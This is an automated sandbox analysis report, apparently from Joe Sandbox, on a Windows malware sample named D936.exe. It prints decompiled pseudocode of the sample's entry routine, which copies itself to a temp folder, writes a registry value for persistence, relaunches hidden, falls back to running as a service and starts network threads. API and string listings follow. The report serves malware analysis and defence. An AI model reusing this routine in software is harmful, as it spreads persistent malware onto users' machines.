GetProcessHeap.KERNEL32(00000008,b6i,?,0068B7ED,b6i,00000009,?,00693662,00000009), ref: 0068B8F9
RtlAllocateHeap.NTDLL(00000000,?,0068B7ED), ref: 0068B900

Strings

b6i, xrefs: 0068B8F3, 0068B8F6

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: b6i
API String ID: 1357844191-1567494652
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D936.exe PID: 7124 Parent PID: 3424 D936.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 98.8, APIs: 48, Strings: 8, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32(00000000,00000000,0040405E,00000000,00000000,00000000), ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32(00000000,00000000,0040877E,00000000,00000000,00000000), ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

D, xrefs: 00409F8E
\, xrefs: 00409D0C
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
P, xrefs: 00409DAA
", xrefs: 0040A078
%X%08X, xrefs: 0040A0B0
", xrefs: 00409EDB
", xrefs: 0040A189

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

